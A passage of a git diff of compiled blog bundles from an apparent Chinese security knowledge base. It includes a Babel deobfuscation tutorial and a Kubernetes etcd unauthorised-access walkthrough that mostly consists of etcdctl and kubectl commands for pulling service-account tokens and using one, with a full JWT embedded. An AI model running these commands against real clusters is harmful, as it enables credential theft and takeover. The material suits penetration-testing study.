\u8bed\u53e5\u5bf9\u5e94\u7684\u8282\u70b9\u5220\u9664\u6389\uff0c\u56e0\u4e3a\u6700\u7ec8\u4ee3\u7801\u91cc\u8fd9\u6761\u8bed\u53e5\u5c31\u6ca1\u7528\u4e86\uff1b"]}),"\n",(0,t.jsx)(e.li,{children:"\u904d\u5386\u7b2c\u4e00\u6b65\u5f97\u5230\u7684\u63a7\u5236\u6d41\u6570\u7ec4\uff0c\u4f9d\u6b21\u53d6\u51fa\u6bcf\u4e2a\u503c\u6240\u5bf9\u5e94\u7684 case \u8282\u70b9\uff1b"}),"\n",(0,t.jsxs)(e.li,{children:["\u5b9a\u4e49\u4e00\u4e2a\u6570\u7ec4\uff0c\u50a8\u5b58\u6bcf\u4e2a case \u8282\u70b9 ",(0,t.jsx)(e.code,{children:"consequent"})," \u6570\u7ec4\u91cc\u9762\u7684\u5185\u5bb9\uff0c\u5e76\u5220\u9664 ",(0,t.jsx)(e.code,{children:"continue"})," \u8bed\u53e5\u5bf9\u5e94\u7684\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u904d\u5386\u5b8c\u6210\u540e\uff0c\u5c06\u7b2c\u4e09\u6b65\u7684\u6570\u7ec4\u66ff\u6362\u6389\u6574\u4e2a while \u8282\u70b9\uff0c\u4e5f\u5c31\u662f ",(0,t.jsx)(e.code,{children:"WhileStatement"}),"\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"\u4e0d\u540c\u601d\u8def\uff0c\u5199\u6cd5\u591a\u6837\uff0c\u5bf9\u4e8e\u5982\u4f55\u83b7\u53d6\u63a7\u5236\u6d41\u6570\u7ec4\uff0c\u53ef\u4ee5\u6709\u4ee5\u4e0b\u601d\u8def\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u83b7\u53d6\u5230 ",(0,t.jsx)(e.code,{children:"While"})," \u8bed\u53e5\u8282\u70b9\uff0c\u7136\u540e\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"path.getAllPrevSiblings()"})," \u65b9\u6cd5\u83b7\u53d6\u5176\u524d\u9762\u7684\u6240\u6709\u5144\u5f1f\u8282\u70b9\uff0c\u904d\u5386\u6bcf\u4e2a\u5144\u5f1f\u8282\u70b9\uff0c\u627e\u5230\u4e0e ",(0,t.jsx)(e.code,{children:"switch()"})," \u91cc\u9762\u6570\u7ec4\u7684\u53d8\u91cf\u540d\u76f8\u540c\u7684\u8282\u70b9\uff0c\u7136\u540e\u518d\u53d6\u8282\u70b9\u7684\u503c\u8fdb\u884c\u540e\u7eed\u5904\u7406\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u76f4\u63a5\u53d6 ",(0,t.jsx)(e.code,{children:"switch()"})," \u91cc\u9762\u6570\u7ec4\u7684\u53d8\u91cf\u540d\uff0c\u7136\u540e\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"scope.getBinding()"})," \u65b9\u6cd5\u83b7\u53d6\u5230\u5b83\u7ed1\u5b9a\u7684\u8282\u70b9\uff0c\u7136\u540e\u518d\u53d6\u8fd9\u4e2a\u8282\u70b9\u7684\u503c\u8fdb\u884c\u540e\u7eed\u5904\u7406\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\nconst types = require("@babel/types")\n\nconst fs = require("fs");\n\n\n\nconst code = `\nconst CryptoJS = require(\'crypto-js\');\n\n// AES \u52a0\u5bc6\u51fd\u6570\nfunction aesEncrypt(data) {\n let key = CryptoJS.enc.Utf8.parse("1234567890123456");\n let iv = CryptoJS.enc.Utf8.parse("1234567890123456");\n let lineOrder = ["5", "8", "9", "2", \'0\', "6", "10", "1", "7", "4", "3"];\n let lineIndex = 0;\n while (true) {\n switch (lineOrder[lineIndex]) {\n case "5":\n key = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "8":\n key = CryptoJS.lib.WordArray.random(16);\n \n case "9":\n key = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "2":\n key = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "0":\n iv = CryptoJS.lib.WordArray.random(16);\n case "6":\n iv = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "10":\n iv = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "1":\n iv = CryptoJS.lib.WordArray.random(16);\n case "7":\n iv = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "4":\n const encryptedData = CryptoJS.AES.encrypt(data, key, {\n iv: iv,\n mode: CryptoJS.mode.CBC,\n padding: CryptoJS.pad.Pkcs7\n });\n case "3":\n return {\n encryptedData: encryptedData.toString(),\n key: key.toString(),\n iv: iv.toString()\n };\n }\n lineIndex++;\n }\n}\nconsole.log(aesEncrypt(\'1234567890123456\'));\n\n`;\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n WhileStatement(path) {\n\n\n\n let switchNode = path.node.body.body[0];\n\n\n\n let arrayName = switchNode.discriminant.object.name;\n\n // \u83b7\u53d6\u63a7\u5236\u6d41\u6570\u7ec4\u7ed1\u5b9a\u7684\u8282\u70b9\n\n let bindingArray = path.scope.getBinding(arrayName);\n let arrayNode = bindingArray.path.node;\n let array = arrayNode.init.elements;\n array = array.map((item) => item.value);\n\n // \u50a8\u5b58\u6b63\u786e\u987a\u5e8f\u7684\u63a7\u5236\u6d41\u8bed\u53e5\n\n let replace = [];\n\n // \u904d\u5386\u63a7\u5236\u6d41\u6570\u7ec4\uff0c\u6309\u6b63\u786e\u987a\u5e8f\u53d6 case \u5185\u5bb9\n\n array.forEach(index => {\n\n\n const a =switchNode.cases.find((item) => item.test.value === index);\n let consequent = a.consequent;\n\n // \u5982\u679c\u6700\u540e\u4e00\u4e2a\u8282\u70b9\u662f continue \u8bed\u53e5\uff0c\u5219\u5220\u9664 ContinueStatement \u8282\u70b9\n\n if (types.isContinueStatement(consequent[consequent.length - 1])) {\n\n consequent.pop();\n\n }\n\n // concat \u65b9\u6cd5\u62fc\u63a5\u591a\u4e2a\u6570\u7ec4\uff0c\u5373\u6b63\u786e\u987a\u5e8f\u7684 case \u5185\u5bb9\n\n replace = replace.concat(consequent);\n\n }\n\n );\n\n // \u66ff\u6362\u6574\u4e2a while \u8282\u70b9\uff0c\u4e24\u79cd\u65b9\u6cd5\u90fd\u53ef\u4ee5\n\n path.replaceWithMultiple(replace);\n\n // path.replaceInline(replace);\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee5\u4e0a\u4ee3\u7801\u8fd0\u884c\u540e\uff0c\u539f\u6765\u7684 ",(0,t.jsx)(e.code,{children:"switch-case"})," \u63a7\u5236\u6d41\u5c31\u88ab\u8fd8\u539f\u4e86\uff0c\u53d8\u6210\u4e86\u6309\u987a\u5e8f\u4e00\u884c\u4e00\u884c\u7684\u4ee3\u7801\uff0c\u66f4\u52a0\u7b80\u6d01\u660e\u4e86\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const CryptoJS = require(\'crypto-js\');\n\n// AES \u52a0\u5bc6\u51fd\u6570\nfunction aesEncrypt(data) {\n let key = CryptoJS.enc.Utf8.parse("1234567890123456");\n let iv = CryptoJS.enc.Utf8.parse("1234567890123456");\n let lineOrder = ["5", "8", "9", "2", \'0\', "6", "10", "1", "7", "4", "3"];\n let lineIndex = 0;\n key = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n key = CryptoJS.lib.WordArray.random(16);\n key = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n key = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n iv = CryptoJS.lib.WordArray.random(16);\n iv = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n iv = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n iv = CryptoJS.lib.WordArray.random(16);\n iv = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n const encryptedData = CryptoJS.AES.encrypt(data, key, {\n iv: iv,\n mode: CryptoJS.mode.CBC,\n padding: CryptoJS.pad.Pkcs7\n });\n return {\n encryptedData: encryptedData.toString(),\n key: key.toString(),\n iv: iv.toString()\n };\n}\nconsole.log(aesEncrypt(\'1234567890123456\'));\n'})}),"\n",(0,t.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u5b98\u65b9\u624b\u518c Babel Handbook\uff1a",(0,t.jsx)(e.a,{href:"https://github.com/jamiebuilds/babel-handbook",children:"https://github.com/jamiebuilds/babel-handbook"})]}),"\n",(0,t.jsxs)(e.li,{children:["\u5b98\u65b9\u4e2d\u6587\u624b\u518c\uff1a",(0,t.jsx)(e.a,{href:"https://www.babeljs.cn/docs/",children:"https://www.babeljs.cn/docs/"})]}),"\n",(0,t.jsxs)(e.li,{children:["\u975e\u5b98\u65b9 Babel API \u4e2d\u6587\u6587\u6863\uff1a",(0,t.jsx)(e.a,{href:"https://evilrecluse.top/Babel-traverse-api-doc/",children:"https://evilrecluse.top/Babel-traverse-api-doc/"})]}),"\n",(0,t.jsxs)(e.li,{children:["k\u54e5\u722c\u866b\uff1a",(0,t.jsx)(e.a,{href:"https://www.cnblogs.com/ikdl",children:"https://www.cnblogs.com/ikdl"})]}),"\n"]})]})}function u(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/03086769.9f3afb78.js b/en/assets/js/03086769.9f3afb78.js new file mode 100644 index 0000000..fcdd6cb --- /dev/null +++ b/en/assets/js/03086769.9f3afb78.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5374],{28453:(e,t,n)=>{n.d(t,{R:()=>d,x:()=>r});var c=n(96540);const s={},l=c.createContext(s);function d(e){const t=c.useContext(l);return c.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function r(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:d(e.components),c.createElement(l.Provider,{value:t},e.children)}},68907:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>r,default:()=>a,frontMatter:()=>d,metadata:()=>c,toc:()=>o});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","title":"etcd","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/02.Etcd.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/02.Etcd.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apiserver","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer"},"next":{"title":"Kubelet","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet"}}');var s=n(74848),l=n(28453);const d={},r="etcd",i={},o=[{value:"\u5229\u7528",id:"\u5229\u7528",level:2}];function h(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"etcd",children:"etcd"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:33:16"})]})})]}),"\n",(0,s.jsx)(t.p,{children:"etcd \u662f\u4e00\u79cd\u5206\u5e03\u5f0f\u952e\u503c\u5b58\u50a8\uff0c\u63d0\u4f9b\u4e86\u4e00\u79cd\u53ef\u9760\u7684\u65b9\u5f0f\u6765\u7ba1\u7406\u5206\u5e03\u5f0f\u7cfb\u7edf\u7684\u534f\u8c03\u72b6\u6001\u3002etcd \u4e8e 2013 \u5e74 6 \u6708\u7531 CoreOS\uff08\u81ea 2018 \u5e74\u8d77\u6210\u4e3a Red Hat \u7684\u4e00\u90e8\u5206\uff09\u9996\u6b21\u53d1\u5e03\u3002\u81ea 2014 \u5e74\u5728 Kubernetes \u4e2d\u91c7\u7528\u4ee5\u6765\uff0cetcd \u5df2\u6210\u4e3a Kubernetes \u96c6\u7fa4\u7ba1\u7406\u8f6f\u4ef6\u8bbe\u8ba1\u7684\u57fa\u672c\u7ec4\u6210\u90e8\u5206\uff0c\u5e76\u4e14 etcd \u793e\u533a\u5448\u6307\u6570\u7ea7\u589e\u957f\u3002etcd \u76ee\u524d\u5df2\u5728\u591a\u5bb6\u516c\u53f8\u7684\u751f\u4ea7\u73af\u5883\u4e2d\u4f7f\u7528\uff0c\u5305\u62ec AWS\u3001Google Cloud Platform\u3001Azure \u7b49\u5927\u578b\u4e91\u63d0\u4f9b\u5546\u73af\u5883\u4ee5\u53ca\u5176\u4ed6\u672c\u5730 Kubernetes \u5b9e\u65bd\u3002"}),"\n",(0,s.jsxs)(t.p,{children:["\u518d ",(0,s.jsx)(t.code,{children:"kubernetes"})," \u4e2d\uff0c\u9ed8\u8ba4\u4f7f\u7528",(0,s.jsx)(t.code,{children:"etcd v3"})," \u6765\u5b58\u50a8\u6570\u636e\uff0c\u5982\u679c\u6211\u4eec\u80fd\u591f\u63a7\u5236",(0,s.jsx)(t.code,{children:"etcd\u670d\u52a1"}),", \u4e5f\u5c31\u62e5\u6709\u4e86\u6574\u4e2a\u96c6\u7fa4\u7684\u63a7\u5236\u6743"]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:'CTL_ENDPOINTS="http://192.168.3.105:2379/"\netcdctl getexport ETCDCTL_API=3\nexport ETCD\nCTL_ENDPOINTS="http://192.168.3.105:2379/"\netcdctl get / --prefix --keys-only \n'})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080046934.png",alt:"image-20230708004633573"})}),"\n",(0,s.jsx)(t.h2,{id:"\u5229\u7528",children:"\u5229\u7528"}),"\n",(0,s.jsxs)(t.p,{children:[(0,s.jsx)(t.code,{children:"etcd"})," \u4e5f\u5b58\u5728 ",(0,s.jsx)(t.code,{children:"api"})," \u548c \u547d\u4ee4\u884c\u4e24\u79cd\u6a21\u5f0f\uff0c\u8fd9\u91cc\u4ee5 ",(0,s.jsx)(t.code,{children:"etcdctl"})," \u5229\u7528\u4e3a\u4e3b"]}),"\n",(0,s.jsx)(t.p,{children:"\u4ee5\u4e0b\u7ed3\u679c\u5373\u5b58\u5728\u672a\u6388\u6743"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-curl",children:'curl http://192.168.3.105:2379/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}\n# \u6216\u8005\ncurl http://192.168.3.105:2380/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}\n'})}),"\n",(0,s.jsxs)(t.p,{children:["\u90a3\u4e48\u53ef\u4ee5\u901a\u8fc7",(0,s.jsx)(t.code,{children:"etcdctl"})," \u547d\u4ee4\u884c\u5de5\u5177\u8fd0\u884c\u67e5\u8be2",(0,s.jsx)(t.code,{children:"token"}),"\u952e"]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:"curl -LO https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz \ntar xvf etcd-v3.5.9-linux-amd64.tar.gz && ln -s ./etcd-v3.5.9-linux-amd64/etcdctl /usr/bin/etcdctl\netcdctl -h\n"})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080058495.png",alt:"image-20230708005803211"})}),"\n",(0,s.jsx)(t.p,{children:"\u83b7\u53d6\u6240\u6709\u5e26token\u952e"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:'etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | grep token # linux\netcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | findstr token # windows\n'})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080105575.png",alt:"image-20230708010507545"})}),"\n",(0,s.jsxs)(t.p,{children:["\u83b7\u53d6",(0,s.jsx)(t.code,{children:"token"}),"\u503c"]}),"\n",(0,s.jsxs)(t.p,{children:["\u200b\t",(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080106689.png",alt:"image-20230708010605095"})]}),"\n",(0,s.jsxs)(t.p,{children:["\u6700\u540e\u901a\u8fc7",(0,s.jsx)(t.code,{children:"kubectl"})," \u5229\u7528\u5373\u53ef"]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:'kubectl get po -A -s "https://192.168.3.105:6443" --token eyJhbGciOiJSUzI1NiIsImtpZCI6IlVxV2xjZ09VU1dJUEJGSzRPWmp3RFk2Q0lMdHpJWEFpSmpsTHNaRmtvNmMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1jc3p6cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjVlY2Y2N2JkLTJiZGMtNGNkYS1hMTljLTFjNTQ0Mzc1ZWI3YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTpuYW1lc3BhY2UtY29udHJvbGxlciJ9.NyGdUVNba_XPyRnxRgjFKHpzPhzMOTFtkv1zG1EvN-982pN9P4WYLk-XrmFfEz--kt1LyFXujjQTr9gCL7g-OdW10IXo8_WRFmaM_V7FcOhPWxNNeY9WNMpcGdZ1VmIjOLln1lC8VVXJyt8YFFcTnc9sfZpj_Bc_d1L_RqUdu9IDtEZhN3ZQqdMbix__IdmJTnS9M2d_h6sl2ZlxpqeULJ86PkfvTMkRfuBTIuGNG2adFhe72eQjAK6xCk9liIJnaRDxRVADMKGw2RDykoCo8SvDx8fdi2Vv_EAofihw5zZz4YHro6mkCLclB725kCDonVHOUZncZcK4HtQHhhP5YQ --insecure-skip-tls-verify\n'})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080139621.png",alt:"image-20230708013804383"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/041a9de8.b37c3527.js b/en/assets/js/041a9de8.b37c3527.js new file mode 100644 index 0000000..1f38bcb --- /dev/null +++ b/en/assets/js/041a9de8.b37c3527.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5345],{18961:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/README","title":"\u57fa\u7ebf\u68c0\u67e5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/07.\u57fa\u7ebf\u68c0\u67e5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/07.\u57fa\u7ebf\u68c0\u67e5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/07.\u57fa\u7ebf\u68c0\u67e5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u53bb\u7279\u5f81","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/"},"next":{"title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"}}');var r=n(74848),i=n(28453);const o={},l="\u57fa\u7ebf\u68c0\u67e5",c={},d=[];function a(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u57fa\u7ebf\u68c0\u67e5",children:"\u57fa\u7ebf\u68c0\u67e5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:36:03"})]})})]})]})}function h(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>l});var s=n(96540);const r={},i=s.createContext(r);function o(e){const t=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(i.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/06241ac5.bc18955d.js b/en/assets/js/06241ac5.bc18955d.js new file mode 100644 index 0000000..fc54047 --- /dev/null +++ b/en/assets/js/06241ac5.bc18955d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9369],{10618:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png"},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>o});var t=r(96540);const s={},a=t.createContext(s);function i(e){const n=t.useContext(a);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),t.createElement(a.Provider,{value:n},e.children)}},35281:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png"},77049:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>d,contentTitle:()=>o,default:()=>c,frontMatter:()=>i,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","title":"3.9 \u4f18\u5316\u5668.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.8 \u53ef\u89c6\u5316.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316"},"next":{"title":"\u7b2c\u56db\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/"}}');var s=r(74848),a=r(28453);const i={},o="3.9 \u4f18\u5316\u5668.md",d={},l=[{value:"3.9.1 PyTorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668",id:"391-pytorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668",level:2},{value:"3.9.2 \u5b9e\u9645\u64cd\u4f5c",id:"392-\u5b9e\u9645\u64cd\u4f5c",level:2},{value:"3.9.3 \u8f93\u51fa\u7ed3\u679c",id:"393-\u8f93\u51fa\u7ed3\u679c",level:2},{value:"3.9.4 \u5b9e\u9a8c",id:"394-\u5b9e\u9a8c",level:2}];function p(e){const 